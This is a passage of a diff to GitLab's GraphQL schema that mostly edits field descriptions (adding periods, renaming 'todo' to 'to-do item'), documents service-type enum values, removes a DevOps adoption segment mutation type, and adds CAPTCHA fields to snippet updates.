descriptionHtml: String """ - ID of the requirement + ID of the requirement. """ id: ID! """ - Internal ID of the requirement + Internal ID of the requirement. """ iid: ID! """ - Indicates if latest test report was created by user + Indicates if latest test report was created by user. """ lastTestReportManuallyCreated: Boolean """ - Latest requirement test report state + Latest requirement test report state. """ lastTestReportState: TestReportState """ - Project to which the requirement belongs + Project to which the requirement belongs. """ project: Project! """ - State of the requirement + State of the requirement. """ state: RequirementState! """ - Test reports of the requirement + Test reports of the requirement. """ testReports( """ @@ -21624,7 +22987,7 @@ type Requirement { ): TestReportConnection """ - Title of the requirement + Title of the requirement. """ title: String @@ -21634,7 +22997,7 @@ type Requirement { titleHtml: String """ - Timestamp of when the requirement was last updated + Timestamp of when the requirement was last updated. """ updatedAt: Time! @@ -21722,34 +23085,34 @@ Counts of requirements by their state """ type RequirementStatesCount { """ - Number of archived requirements + Number of archived requirements. """ archived: Int """ - Number of opened requirements + Number of opened requirements. """ opened: Int } interface ResolvableInterface { """ - Indicates if the object can be resolved + Indicates if the object can be resolved. """ resolvable: Boolean! """ - Indicates if the object is resolved + Indicates if the object is resolved. """ resolved: Boolean! """ - Timestamp of when the object was resolved + Timestamp of when the object was resolved. """ resolvedAt: Time """ - User who resolved the object + User who resolved the object. """ resolvedBy: User } @@ -21791,47 +23154,47 @@ type RevertVulnerabilityToDetectedPayload { type RootStorageStatistics { """ - The CI artifacts size in bytes + The CI artifacts size in bytes. """ buildArtifactsSize: Float! """ - The LFS objects size in bytes + The LFS objects size in bytes. """ lfsObjectsSize: Float! """ - The packages size in bytes + The packages size in bytes. """ packagesSize: Float! """ - The CI pipeline artifacts size in bytes + The CI pipeline artifacts size in bytes. """ pipelineArtifactsSize: Float! """ - The Git repository size in bytes + The Git repository size in bytes. """ repositorySize: Float! """ - The snippets size in bytes + The snippets size in bytes. """ snippetsSize: Float! """ - The total storage in bytes + The total storage in bytes. """ storageSize: Float! """ - The uploads size in bytes + The uploads size in bytes. """ uploadsSize: Float! """ - The wiki size in bytes + The wiki size in bytes. """ wikiSize: Float! } @@ -21888,12 +23251,12 @@ type RunDASTScanPayload { type RunnerArchitecture { """ - Download location for the runner for the platform architecture + Download location for the runner for the platform architecture. """ downloadLocation: String! """ - Name of the runner platform architecture + Name of the runner platform architecture. """ name: String! } @@ -21935,7 +23298,7 @@ type RunnerArchitectureEdge { type RunnerPlatform { """ - Runner architectures supported for the platform + Runner architectures supported for the platform. """ architectures( """ @@ -21960,12 +23323,12 @@ type RunnerPlatform { ): RunnerArchitectureConnection """ - Human readable name of the runner platform + Human readable name of the runner platform. """ humanReadableName: String! """ - Name slug of the runner platform + Name slug of the runner platform. """ name: String! } @@ -22007,12 +23370,12 @@ type RunnerPlatformEdge { type RunnerSetup { """ - Instructions for installing the runner on the specified architecture + Instructions for installing the runner on the specified architecture. """ installInstructions: String! """ - Instructions for registering the runner + Instructions for registering the runner. """ registerInstructions: String } @@ -22102,27 +23465,27 @@ Represents an analyzer entity in SAST CI configuration """ type SastCiConfigurationAnalyzersEntity { """ - Analyzer description that is displayed on the form + Analyzer description that is displayed on the form. """ description: String """ - Indicates whether an analyzer is enabled + Indicates whether an analyzer is enabled. """ enabled: Boolean """ - Analyzer label used in the config UI + Analyzer label used in the config UI. """ label: String """ - Name of the analyzer + Name of the analyzer. """ name: String """ - List of supported variables + List of supported variables. """ variables( """ @@ -22187,17 +23550,17 @@ Represents the analyzers entity in SAST CI configuration """ input SastCiConfigurationAnalyzersEntityInput { """ - State of the analyzer + State of the analyzer. """ enabled: Boolean! """ - Name of analyzer + Name of analyzer. """ name: String! """ - List of variables for the analyzer + List of variables for the analyzer. """ variables: [SastCiConfigurationEntityInput!] } @@ -22307,17 +23670,17 @@ Represents an entity in SAST CI configuration """ input SastCiConfigurationEntityInput { """ - Default value that is used if value is empty + Default value that is used if value is empty. """ defaultValue: String! """ - CI keyword of entity + CI keyword of entity. """ field: String! """ - Current value of the entity + Current value of the entity. """ value: String! } @@ -22327,17 +23690,17 @@ Represents a CI configuration of SAST """ input SastCiConfigurationInput { """ - List of analyzers and related variables for the SAST configuration + List of analyzers and related variables for the SAST configuration. """ analyzers: [SastCiConfigurationAnalyzersEntityInput!] """ - List of global entities related to SAST configuration + List of global entities related to SAST configuration. """ global: [SastCiConfigurationEntityInput!] """ - List of pipeline entities related to SAST configuration + List of pipeline entities related to SAST configuration. """ pipeline: [SastCiConfigurationEntityInput!] } @@ -22406,12 +23769,12 @@ Represents a resource scanned by a security scan """ type ScannedResource { """ - The HTTP request method used to access the URL + The HTTP request method used to access the URL. """ requestMethod: String """ - The URL scanned by the scanner + The URL scanned by the scanner. """ url: String } @@ -22456,37 +23819,37 @@ Represents summary of a security report """ type SecurityReportSummary { """ - Aggregated counts for the api_fuzzing scan + Aggregated counts for the `api_fuzzing` scan """ apiFuzzing: SecurityReportSummarySection """ - Aggregated counts for the container_scanning scan + Aggregated counts for the `container_scanning` scan """ containerScanning: SecurityReportSummarySection """ - Aggregated counts for the coverage_fuzzing scan + Aggregated counts for the `coverage_fuzzing` scan """ coverageFuzzing: SecurityReportSummarySection """ - Aggregated counts for the dast scan + Aggregated counts for the `dast` scan """ dast: SecurityReportSummarySection """ - Aggregated counts for the dependency_scanning scan + Aggregated counts for the `dependency_scanning` scan """ dependencyScanning: SecurityReportSummarySection """ - Aggregated counts for the sast scan + Aggregated counts for the `sast` scan """ sast: SecurityReportSummarySection """ - Aggregated counts for the secret_detection scan + Aggregated counts for the `secret_detection` scan """ secretDetection: SecurityReportSummarySection } @@ -22496,7 +23859,7 @@ Represents a section of a summary of a security report """ type SecurityReportSummarySection { """ - A list of the first 20 scanned resources + A list of the first 20 scanned resources. """ scannedResources( """ @@ -22521,17 +23884,17 @@ type SecurityReportSummarySection { ): ScannedResourceConnection """ - Total number of scanned resources + Total number of scanned resources. """ scannedResourcesCount: Int """ - Path to download all the scanned resources in CSV format + Path to download all the scanned resources in CSV format. """ scannedResourcesCsvPath: String """ - Total number of vulnerabilities + Total number of vulnerabilities. """ vulnerabilitiesCount: Int } @@ -22611,142 +23974,142 @@ A Sentry error """ type SentryDetailedError { """ - Count of occurrences + Count of occurrences. """ count: Int! """ - Culprit of the error + Culprit of the error. """ culprit: String! """ - External Base URL of the Sentry Instance + External Base URL of the Sentry Instance. """ externalBaseUrl: String! """ - External URL of the error + External URL of the error. """ externalUrl: String! """ - Commit the error was first seen + Commit the error was first seen. """ firstReleaseLastCommit: String """ - Release short version the error was first seen + Release short version the error was first seen. """ firstReleaseShortVersion: String """ - Release version the error was first seen + Release version the error was first seen. """ firstReleaseVersion: String """ - Timestamp when the error was first seen + Timestamp when the error was first seen. """ firstSeen: Time! """ - Last 24hr stats of the error + Last 24hr stats of the error. """ frequency: [SentryErrorFrequency!]! """ - GitLab commit SHA attributed to the Error based on the release version + GitLab commit SHA attributed to the Error based on the release version. """ gitlabCommit: String """ - Path to the GitLab page for the GitLab commit attributed to the error + Path to the GitLab page for the GitLab commit attributed to the error. """ gitlabCommitPath: String """ - URL of GitLab Issue + URL of GitLab Issue. """ gitlabIssuePath: String """ - ID (global ID) of the error + ID (global ID) of the error. """ id: ID! """ - Commit the error was last seen + Commit the error was last seen. """ lastReleaseLastCommit: String """ - Release short version the error was last seen + Release short version the error was last seen. """ lastReleaseShortVersion: String """ - Release version the error was last seen + Release version the error was last seen. """ lastReleaseVersion: String """ - Timestamp when the error was last seen + Timestamp when the error was last seen. """ lastSeen: Time! """ - Sentry metadata message of the error + Sentry metadata message of the error. """ message: String """ - ID (Sentry ID) of the error + ID (Sentry ID) of the error. """ sentryId: String! """ - ID of the project (Sentry project) + ID of the project (Sentry project). """ sentryProjectId: ID! """ - Name of the project affected by the error + Name of the project affected by the error. """ sentryProjectName: String! """ - Slug of the project affected by the error + Slug of the project affected by the error. """ sentryProjectSlug: String! """ - Short ID (Sentry ID) of the error + Short ID (Sentry ID) of the error. """ shortId: String! """ - Status of the error + Status of the error. """ status: SentryErrorStatus! """ - Tags associated with the Sentry Error + Tags associated with the Sentry Error. """ tags: SentryErrorTags! """ - Title of the error + Title of the error. """ title: String! """ - Type of the error + Type of the error. """ type: String! """ - Count of users affected by the error + Count of users affected by the error. """ userCount: Int! } @@ -22756,87 +24119,87 @@ A Sentry error. A simplified version of SentryDetailedError """ type SentryError { """ - Count of occurrences + Count of occurrences. """ count: Int! """ - Culprit of the error + Culprit of the error. """ culprit: String! """ - External URL of the error + External URL of the error. """ externalUrl: String! """ - Timestamp when the error was first seen + Timestamp when the error was first seen. """ firstSeen: Time! """ - Last 24hr stats of the error + Last 24hr stats of the error. """ frequency: [SentryErrorFrequency!]! """ - ID (global ID) of the error + ID (global ID) of the error. """ id: ID! """ - Timestamp when the error was last seen + Timestamp when the error was last seen. """ lastSeen: Time! """ - Sentry metadata message of the error + Sentry metadata message of the error. """ message: String """ - ID (Sentry ID) of the error + ID (Sentry ID) of the error. """ sentryId: String! """ - ID of the project (Sentry project) + ID of the project (Sentry project). """ sentryProjectId: ID! """ - Name of the project affected by the error + Name of the project affected by the error. """ sentryProjectName: String! """ - Slug of the project affected by the error + Slug of the project affected by the error. """ sentryProjectSlug: String! """ - Short ID (Sentry ID) of the error + Short ID (Sentry ID) of the error. """ shortId: String! """ - Status of the error + Status of the error. """ status: SentryErrorStatus! """ - Title of the error + Title of the error. """ title: String! """ - Type of the error + Type of the error. """ type: String! """ - Count of users affected by the error + Count of users affected by the error. """ userCount: Int! } @@ -22846,7 +24209,7 @@ An object containing a collection of Sentry errors, and a detailed error """ type SentryErrorCollection { """ - Detailed version of a Sentry error on the project + Detailed version of a Sentry error on the project. """ detailedError( """ @@ -22856,7 +24219,7 @@ type SentryErrorCollection { ): SentryDetailedError """ - Stack Trace of Sentry Error + Stack Trace of Sentry Error. """ errorStackTrace( """ @@ -22866,7 +24229,7 @@ type SentryErrorCollection { ): SentryErrorStackTrace """ - Collection of Sentry Errors + Collection of Sentry Errors. """ errors( """ @@ -22901,7 +24264,7 @@ type SentryErrorCollection { ): SentryErrorConnection """ - External URL for Sentry + External URL for Sentry. """ externalUrl: String } @@ -22943,12 +24306,12 @@ type SentryErrorEdge { type SentryErrorFrequency { """ - Count of errors received since the previously recorded time + Count of errors received since the previously recorded time. """ count: Int! """ - Time the error frequency stats were recorded + Time the error frequency stats were recorded. """ time: Time! } @@ -22958,17 +24321,17 @@ An object containing a stack trace entry for a Sentry error """ type SentryErrorStackTrace { """ - Time the stack trace was received by Sentry + Time the stack trace was received by Sentry. """ dateReceived: String! """ - ID of the Sentry error + ID of the Sentry error. """ issueId: String! """ - Stack trace entries for the Sentry error + Stack trace entries for the Sentry error. """ stackTraceEntries: [SentryErrorStackTraceEntry!]! } @@ -22978,12 +24341,12 @@ An object context for a Sentry error stack trace """ type SentryErrorStackTraceContext { """ - Code number of the context + Code number of the context. """ code: String! """ - Line number of the context + Line number of the context. """ line: Int! } @@ -22993,27 +24356,27 @@ An object containing a stack trace entry for a Sentry error """ type SentryErrorStackTraceEntry { """ - Function in which the Sentry error occurred + Function in which the Sentry error occurred. """ col: String """ - File in which the Sentry error occurred + File in which the Sentry error occurred. """ fileName: String """ - Function in which the Sentry error occurred + Function in which the Sentry error occurred. """ function: String """ - Function in which the Sentry error occurred + Function in which the Sentry error occurred. """ line: String """ - Context of the Sentry error + Context of the Sentry error. """ traceContext: [SentryErrorStackTraceContext!] } @@ -23048,24 +24411,24 @@ State of a Sentry error """ type SentryErrorTags { """ - Severity level of the Sentry Error + Severity level of the Sentry Error. """ level: String """ - Logger of the Sentry Error + Logger of the Sentry Error. """ logger: String } interface Service { """ - Indicates if the service is active + Indicates if the service is active. """ active: Boolean """ - Class name of the service + Class name of the service. """ type: String } @@ -23106,41 +24469,184 @@ type ServiceEdge { } enum ServiceType { + """ + AsanaService type + """ ASANA_SERVICE + + """ + AssemblaService type + """ ASSEMBLA_SERVICE + + """ + BambooService type + """ BAMBOO_SERVICE + + """ + BugzillaService type + """ BUGZILLA_SERVICE + + """ + BuildkiteService type + """ BUILDKITE_SERVICE + + """ + CampfireService type + """ CAMPFIRE_SERVICE + + """ + ConfluenceService type + """ CONFLUENCE_SERVICE + + """ + CustomIssueTrackerService type + """ CUSTOM_ISSUE_TRACKER_SERVICE + + """ + DatadogService type + """ DATADOG_SERVICE + + """ + DiscordService type + """ DISCORD_SERVICE + + """ + DroneCiService type + """ DRONE_CI_SERVICE + + """ + EmailsOnPushService type + """ EMAILS_ON_PUSH_SERVICE + + """ + EwmService type + """ EWM_SERVICE + + """ + ExternalWikiService type + """ EXTERNAL_WIKI_SERVICE + + """ + FlowdockService type + """ FLOWDOCK_SERVICE + + """ + GithubService type + """ GITHUB_SERVICE + + """ + HangoutsChatService type + """ HANGOUTS_CHAT_SERVICE + + """ + HipchatService type + """ HIPCHAT_SERVICE + + """ + IrkerService type + """ IRKER_SERVICE + + """ + JenkinsService type + """ JENKINS_SERVICE + + """ + JiraService type + """ JIRA_SERVICE + + """ + MattermostService type + """ MATTERMOST_SERVICE + + """ + MattermostSlashCommandsService type + """ MATTERMOST_SLASH_COMMANDS_SERVICE + + """ + MicrosoftTeamsService type + """ MICROSOFT_TEAMS_SERVICE + + """ + PackagistService type + """ PACKAGIST_SERVICE + + """ + PipelinesEmailService type + """ PIPELINES_EMAIL_SERVICE + + """ + PivotaltrackerService type + """ PIVOTALTRACKER_SERVICE + + """ + PrometheusService type + """ PROMETHEUS_SERVICE + + """ + PushoverService type + """ PUSHOVER_SERVICE + + """ + RedmineService type + """ REDMINE_SERVICE + + """ + SlackService type + """ SLACK_SERVICE + + """ + SlackSlashCommandsService type + """ SLACK_SLASH_COMMANDS_SERVICE + + """ + TeamcityService type + """ TEAMCITY_SERVICE + + """ + UnifyCircuitService type + """ UNIFY_CIRCUIT_SERVICE + + """ + WebexTeamsService type + """ WEBEX_TEAMS_SERVICE + + """ + YoutrackService type + """ YOUTRACK_SERVICE } @@ -23149,17 +24655,17 @@ Represents a snippet entry """ type Snippet implements Noteable { """ - The owner of the snippet + The owner of the snippet. """ author: User """ - Snippet blob Deprecated in 13.3: Use `blobs`. + Snippet blob. Deprecated in 13.3: Use `blobs`. """ blob: SnippetBlob! @deprecated(reason: "Use `blobs`. Deprecated in 13.3.") """ - Snippet blobs + Snippet blobs. """ blobs( """ @@ -23189,12 +24695,12 @@ type Snippet implements Noteable { ): SnippetBlobConnection """ - Timestamp this snippet was created + Timestamp this snippet was created. """ createdAt: Time! """ - Description of the snippet + Description of the snippet. """ description: String @@ -23204,7 +24710,7 @@ type Snippet implements Noteable { descriptionHtml: String """ - All discussions on this noteable + All discussions on this noteable. """ discussions( """ @@ -23229,22 +24735,22 @@ type Snippet implements Noteable { ): DiscussionConnection! """ - File Name of the snippet + File Name of the snippet. """ fileName: String """ - HTTP URL to the snippet repository + HTTP URL to the snippet repository. """ httpUrlToRepo: String """ - ID of the snippet + ID of the snippet. """ id: SnippetID! """ - All notes on this noteable + All notes on this noteable. """ notes( """ @@ -23269,27 +24775,27 @@ type Snippet implements Noteable { ): NoteConnection! """ - The project the snippet is associated with + The project the snippet is associated with. """ project: Project """ - Raw URL of the snippet + Raw URL of the snippet. """ rawUrl: String! """ - SSH URL to the snippet repository + SSH URL to the snippet repository. """ sshUrlToRepo: String """ - Title of the snippet + Title of the snippet. """ title: String! """ - Timestamp this snippet was updated + Timestamp this snippet was updated. """ updatedAt: Time! @@ -23299,12 +24805,12 @@ type Snippet implements Noteable { userPermissions: SnippetPermissions! """ - Visibility Level of the snippet + Visibility Level of the snippet. """ visibilityLevel: VisibilityLevelsEnum! """ - Web URL of the snippet + Web URL of the snippet. """ webUrl: String! } @@ -23314,62 +24820,62 @@ Represents the snippet blob """ type SnippetBlob { """ - Shows whether the blob is binary + Shows whether the blob is binary. """ binary: Boolean! """ - Blob external storage + Blob external storage. """ externalStorage: String """ - Blob mode + Blob mode. """ mode: String """ - Blob name + Blob name. """ name: String """ - Blob path + Blob path. """ path: String """ - Blob plain highlighted data + Blob plain highlighted data. """ plainData: String """ - Blob raw content endpoint path + Blob raw content endpoint path. """ rawPath: String! """ - Shows whether the blob is rendered as text + Shows whether the blob is rendered as text. """ renderedAsText: Boolean! """ - Blob highlighted data + Blob highlighted data. """ richData: String """ - Blob content rich viewer + Blob content rich viewer. """ richViewer: SnippetBlobViewer """ - Blob content simple viewer + Blob content simple viewer. """ simpleViewer: SnippetBlobViewer! """ - Blob size + Blob size. """ size: Int! } @@ -23389,22 +24895,22 @@ Represents an action to perform over a snippet file """ input SnippetBlobActionInputType { """ - Type of input action + Type of input action. """ action: SnippetBlobActionEnum! """ - Snippet file content + Snippet file content. """ content: String """ - Path of the snippet file + Path of the snippet file. """ filePath: String! """ - Previous path of the snippet file + Previous path of the snippet file. """ previousPath: String } @@ -23449,37 +24955,37 @@ Represents how the blob content should be displayed """ type SnippetBlobViewer { """ - Shows whether the blob should be displayed collapsed + Shows whether the blob should be displayed collapsed. """ collapsed: Boolean! """ - Content file type + Content file type. """ fileType: String! """ - Shows whether the blob content is loaded async + Shows whether the blob content is loaded asynchronously. """ loadAsync: Boolean! """ - Loading partial name + Loading partial name. """ loadingPartialName: String! """ - Error rendering the blob content + Error rendering the blob content. """ renderError: String """ - Shows whether the blob too large to be displayed + Shows whether the blob too large to be displayed. """ tooLarge: Boolean! """ - Type of blob viewer + Type of blob viewer. """ type: BlobViewersType! } @@ -23520,7 +25026,7 @@ type SnippetEdge { } """ -Identifier of Snippet +Identifier of Snippet. """ scalar SnippetID @@ -23591,7 +25097,7 @@ type SnippetRepositoryRegistry { retryCount: Int """ - ID of the Snippet Repository + ID of the Snippet Repository. """ snippetRepositoryId: ID! @@ -23683,69 +25189,69 @@ enum Sort { type StatusAction { """ - Title for the button, for example: Retry this job + Title for the button, for example: Retry this job. """ buttonTitle: String """ - Icon used in the action button + Icon used in the action button. """ icon: String """ - Method for the action, for example: :post + Method for the action, for example: :post. """ method: String """ - Path for the action + Path for the action. """ path: String """ - Title for the action, for example: Retry + Title for the action, for example: Retry. """ title: String } type Submodule implements Entry { """ - Flat path of the entry + Flat path of the entry. """ flatPath: String! """ - ID of the entry + ID of the entry. """ id: ID! """ - Name of the entry + Name of the entry. """ name: String! """ - Path of the entry + Path of the entry. """ path: String! """ - Last commit sha for the entry + Last commit SHA for the entry. """ sha: String! """ - Tree URL for the sub-module + Tree URL for the sub-module. """ treeUrl: String """ - Type of tree entry + Type of tree entry. """ type: EntryType! """ - Web URL for the sub-module + Web URL for the sub-module. """ webUrl: String } @@ -23790,49 +25296,49 @@ Completion status of tasks """ type TaskCompletionStatus { """ - Number of completed tasks + Number of completed tasks. """ completedCount: Int! """ - Number of total tasks + Number of total tasks. """ count: Int! } type TerraformState { """ - Timestamp the Terraform state was created + Timestamp the Terraform state was created. """ createdAt: Time! """ - ID of the Terraform state + ID of the Terraform state. """ id: ID! """ - The latest version of the Terraform state + The latest version of the Terraform state. """ latestVersion: TerraformStateVersion """ - Timestamp the Terraform state was locked + Timestamp the Terraform state was locked. """ lockedAt: Time """ - The user currently holding a lock on the Terraform state + The user currently holding a lock on the Terraform state. """ lockedByUser: User """ - Name of the Terraform state + Name of the Terraform state. """ name: String! """ - Timestamp the Terraform state was updated + Timestamp the Terraform state was updated. """ updatedAt: Time! } @@ -23842,7 +25348,7 @@ The connection type for TerraformState. """ type TerraformStateConnection { """ - Total count of collection + Total count of collection. """ count: Int! @@ -23908,7 +25414,7 @@ type TerraformStateEdge { } """ -Identifier of Terraform::State +Identifier of Terraform::State. """ scalar TerraformStateID @@ -23974,37 +25480,37 @@ type TerraformStateUnlockPayload { type TerraformStateVersion { """ - Timestamp the version was created + Timestamp the version was created. """ createdAt: Time! """ - The user that created this version + The user that created this version. """ createdByUser: User """ - URL for downloading the version's JSON file + URL for downloading the version's JSON file. """ downloadPath: String """ - ID of the Terraform state version + ID of the Terraform state version. """ id: ID! """ - The job that created this version + The job that created this version. """ job: CiJob """ - Serial number of the version + Serial number of the version. """ serial: Int """ - Timestamp the version was updated + Timestamp the version was updated. """ updatedAt: Time! } @@ -24049,7 +25555,7 @@ type TerraformStateVersionRegistry { state: RegistryState """ - ID of the terraform state version + ID of the terraform state version. """ terraformStateVersionId: ID! } @@ -24094,22 +25600,22 @@ Represents a requirement test report """ type TestReport { """ - Author of the test report + Author of the test report. """ author: User """ - Timestamp of when the test report was created + Timestamp of when the test report was created. """ createdAt: Time! """ - ID of the test report + ID of the test report. """ id: ID! """ - State of the test report + State of the test report. """ state: TestReportState! } @@ -24167,17 +25673,17 @@ Represents the time report stats for timeboxes """ type TimeReportStats { """ - Completed issues metrics + Completed issues metrics. """ complete: TimeboxMetrics """ - Incomplete issues metrics + Incomplete issues metrics. """ incomplete: TimeboxMetrics """ - Total issues metrics + Total issues metrics. """ total: TimeboxMetrics } @@ -24187,12 +25693,12 @@ Represents measured stats metrics for timeboxes """ type TimeboxMetrics { """ - The count metric + The count metric. """ count: Int! """ - The weight metric + The weight metric. """ weight: Int! } @@ -24202,19 +25708,19 @@ Represents a historically accurate report about the timebox """ type TimeboxReport { """ - Daily scope and completed totals for burnup charts + Daily scope and completed totals for burnup charts. """ burnupTimeSeries: [BurnupChartDailyTotals!] """ - Represents the time report stats for the timebox + Represents the time report stats for the timebox. """ stats: TimeReportStats } interface TimeboxReportInterface { """ - Historically accurate report about the timebox + Historically accurate report about the timebox. """ report: TimeboxReport } @@ -24224,39 +25730,39 @@ A time-frame defined as a closed inclusive range of two dates """ input Timeframe { """ - The end of the range + The end of the range. """ end: Date! """ - The start of the range + The start of the range. """ start: Date! } type Timelog { """ - The issue that logged time was added to + The issue that logged time was added to. """ issue: Issue """ - The note where the quick action to add the logged time was executed + The note where the quick action to add the logged time was executed. """ note: Note """ - Timestamp of when the time tracked was spent at + Timestamp of when the time tracked was spent at. """ spentAt: Time """ - The time spent displayed in seconds + The time spent displayed in seconds. """ timeSpent: Int! """ - The user that logged the time + The user that logged the time. """ user: User! } @@ -24297,51 +25803,51 @@ type TimelogEdge { } """ -Representing a todo entry +Representing a to-do entry """ type Todo { """ - Action of the todo + Action of the to-do item. """ action: TodoActionEnum! """ - The author of this todo + The author of this to-do item. """ author: User! """ - Body of the todo + Body of the to-do item. """ body: String! """ - Timestamp this todo was created + Timestamp this to-do item was created. """ createdAt: Time! """ - Group this todo is associated with + Group this to-do item is associated with. """ group: Group """ - ID of the todo + ID of the to-do item. """ id: ID! """ - The project this todo is associated with + The project this to-do item is associated with. """ project: Project """ - State of the todo + State of the to-do item. """ state: TodoStateEnum! """ - Target type of the todo + Target type of the to-do item. """ targetType: TodoTargetEnum! } @@ -24406,7 +25912,7 @@ type TodoCreatePayload { errors: [String!]! """ - The to-do created. + The to-do item created. """ todo: Todo } @@ -24427,7 +25933,7 @@ type TodoEdge { } """ -Identifier of Todo +Identifier of Todo. """ scalar TodoID @@ -24441,7 +25947,7 @@ input TodoMarkDoneInput { clientMutationId: String """ - The global ID of the todo to mark as done. + The global ID of the to-do item to mark as done. """ id: TodoID! } @@ -24461,7 +25967,7 @@ type TodoMarkDonePayload { errors: [String!]! """ - The requested todo. + The requested to-do item. """ todo: Todo! } @@ -24476,7 +25982,7 @@ input TodoRestoreInput { clientMutationId: String """ - The global ID of the todo to restore. + The global ID of the to-do item to restore. """ id: TodoID! } @@ -24491,7 +25997,7 @@ input TodoRestoreManyInput { clientMutationId: String """ - The global IDs of the todos to restore (a maximum of 50 is supported at once). + The global IDs of the to-do items to restore (a maximum of 50 is supported at once). """ ids: [TodoID!]! } @@ -24511,14 +26017,14 @@ type TodoRestoreManyPayload { errors: [String!]! """ - Updated todos. + Updated to-do items. """ todos: [Todo!]! """ - The IDs of the updated todo items. Deprecated in 13.2: Use todos. + The IDs of the updated to-do items. Deprecated in 13.2: Use to-do items. """ - updatedIds: [TodoID!]! @deprecated(reason: "Use todos. Deprecated in 13.2.") + updatedIds: [TodoID!]! @deprecated(reason: "Use to-do items. Deprecated in 13.2.") } """ @@ -24536,7 +26042,7 @@ type TodoRestorePayload { errors: [String!]! """ - The requested todo. + The requested to-do item. """ todo: Todo! } @@ -24579,7 +26085,7 @@ enum TodoTargetEnum { } """ -Identifier of Todoable +Identifier of Todoable. """ scalar TodoableID @@ -24608,14 +26114,14 @@ type TodosMarkAllDonePayload { errors: [String!]! """ - Updated todos. + Updated to-do items. """ todos: [Todo!]! """ - Ids of the updated todos. Deprecated in 13.2: Use todos. + IDs of the updated to-do items. Deprecated in 13.2: Use to-do items. """ - updatedIds: [TodoID!]! @deprecated(reason: "Use todos. Deprecated in 13.2.") + updatedIds: [TodoID!]! @deprecated(reason: "Use to-do items. Deprecated in 13.2.") } """ @@ -24633,7 +26139,7 @@ input ToggleAwardEmojiInput { clientMutationId: String """ - The emoji name + The emoji name. """ name: String! } @@ -24665,7 +26171,7 @@ type ToggleAwardEmojiPayload { type Tree { """ - Blobs of the tree + Blobs of the tree. """ blobs( """ @@ -24690,12 +26196,12 @@ type Tree { ): BlobConnection! """ - Last commit for the tree + Last commit for the tree. """ lastCommit: Commit """ - Sub-modules of the tree + Sub-modules of the tree. """ submodules( """ @@ -24720,7 +26226,7 @@ type Tree { ): SubmoduleConnection! """ - Trees of the tree + Trees of the tree. """ trees( """ @@ -24750,42 +26256,42 @@ Represents a directory """ type TreeEntry implements Entry { """ - Flat path of the entry + Flat path of the entry. """ flatPath: String! """ - ID of the entry + ID of the entry. """ id: ID! """ - Name of the entry + Name of the entry. """ name: String! """ - Path of the entry + Path of the entry. """ path: String! """ - Last commit sha for the entry + Last commit SHA for the entry. """ sha: String! """ - Type of tree entry + Type of tree entry. """ type: EntryType! """ - Web path for the tree entry (directory) + Web path for the tree entry (directory). """ webPath: String """ - Web URL for the tree entry (directory) + Web URL for the tree entry (directory). """ webUrl: String } @@ -24885,7 +26391,7 @@ type UpdateAlertStatusPayload { issue: Issue """ - The todo after mutation. + The to-do item after mutation. """ todo: Todo } @@ -24950,12 +26456,12 @@ input UpdateBoardInput { clientMutationId: String """ - Whether or not backlog list is hidden + Whether or not backlog list is hidden. """ hideBacklogList: Boolean """ - Whether or not closed list is hidden + Whether or not closed list is hidden. """ hideClosedList: Boolean @@ -24975,7 +26481,7 @@ input UpdateBoardInput { labelIds: [LabelID!] """ - Labels of the issue + Labels of the issue. """ labels: [String!] @@ -25105,7 +26611,7 @@ Autogenerated input type of UpdateContainerExpirationPolicy """ input UpdateContainerExpirationPolicyInput { """ - This container expiration policy schedule + This container expiration policy schedule. """ cadence: ContainerExpirationPolicyCadenceEnum @@ -25115,27 +26621,27 @@ input UpdateContainerExpirationPolicyInput { clientMutationId: String """ - Indicates whether this container expiration policy is enabled + Indicates whether this container expiration policy is enabled. """ enabled: Boolean """ - Number of tags to retain + Number of tags to retain. """ keepN: ContainerExpirationPolicyKeepEnum """ - Tags with names matching this regex pattern will expire + Tags with names matching this regex pattern will expire. """ nameRegex: UntrustedRegexp """ - Tags with names matching this regex pattern will be preserved + Tags with names matching this regex pattern will be preserved. """ nameRegexKeep: UntrustedRegexp """ - Tags older that this will expire + Tags older that this will expire. """ olderThan: ContainerExpirationPolicyOlderThanEnum @@ -25165,69 +26671,24 @@ type UpdateContainerExpirationPolicyPayload { errors: [String!]! } -""" -Autogenerated input type of UpdateDevopsAdoptionSegment -""" -input UpdateDevopsAdoptionSegmentInput { - """ - A unique identifier for the client performing the mutation. - """ - clientMutationId: String - - """ - The array of group IDs to set for the segment. - """ - groupIds: [GroupID!] - - """ - ID of the segment. - """ - id: AnalyticsDevopsAdoptionSegmentID! - - """ - Name of the segment. - """ - name: String! -} - -""" -Autogenerated return type of UpdateDevopsAdoptionSegment -""" -type UpdateDevopsAdoptionSegmentPayload { - """ - A unique identifier for the client performing the mutation. - """ - clientMutationId: String - - """ - Errors encountered during execution of the mutation. - """ - errors: [String!]! - - """ - The segment after mutation. - """ - segment: DevopsAdoptionSegment -} - input UpdateDiffImagePositionInput { """ - Total height of the image + Total height of the image. """ height: Int """ - Total width of the image + Total width of the image. """ width: Int """ - X position of the note + X position of the note. """ x: Int """ - Y position of the note + Y position of the note. """ y: Int } @@ -25327,7 +26788,7 @@ Autogenerated input type of UpdateImageDiffNote """ input UpdateImageDiffNoteInput { """ - Content of the note + Content of the note. """ body: String @@ -25342,7 +26803,7 @@ input UpdateImageDiffNoteInput { id: NoteID! """ - The position of this note on a diff + The position of this note on a diff. """ position: UpdateDiffImagePositionInput } @@ -25382,17 +26843,17 @@ input UpdateIssueInput { clientMutationId: String """ - Indicates the issue is confidential + Indicates the issue is confidential. """ confidential: Boolean """ - Description of the issue + Description of the issue. """ description: String """ - Due date of the issue + Due date of the issue. """ dueDate: ISO8601Date @@ -25412,7 +26873,7 @@ input UpdateIssueInput { iid: String! """ - Indicates discussion is locked on the issue + Indicates discussion is locked on the issue. """ locked: Boolean @@ -25437,7 +26898,7 @@ input UpdateIssueInput { stateEvent: IssueStateEvent """ - Title of the issue + Title of the issue. """ title: String @@ -25578,7 +27039,7 @@ Autogenerated input type of UpdateNote """ input UpdateNoteInput { """ - Content of the note + Content of the note. """ body: String @@ -25688,6 +27149,13 @@ input UpdateSnippetInput { blobActions: [SnippetBlobActionInputType!] """ + A valid CAPTCHA response value obtained by using the provided captchaSiteKey + with a CAPTCHA API to present a challenge to be solved on the client. Required + to resubmit if the previous operation returned "NeedsCaptchaResponse: true". + """ + captchaResponse: String + + """ A unique identifier for the client performing the mutation. """ clientMutationId: String @@ -25703,6 +27171,13 @@ input UpdateSnippetInput { id: SnippetID! """ + The spam log ID which must be passed along with a valid CAPTCHA response for + the operation to be completed. Required to resubmit if the previous operation + returned "NeedsCaptchaResponse: true". + """ + spamLogId: Int + + """ Title of 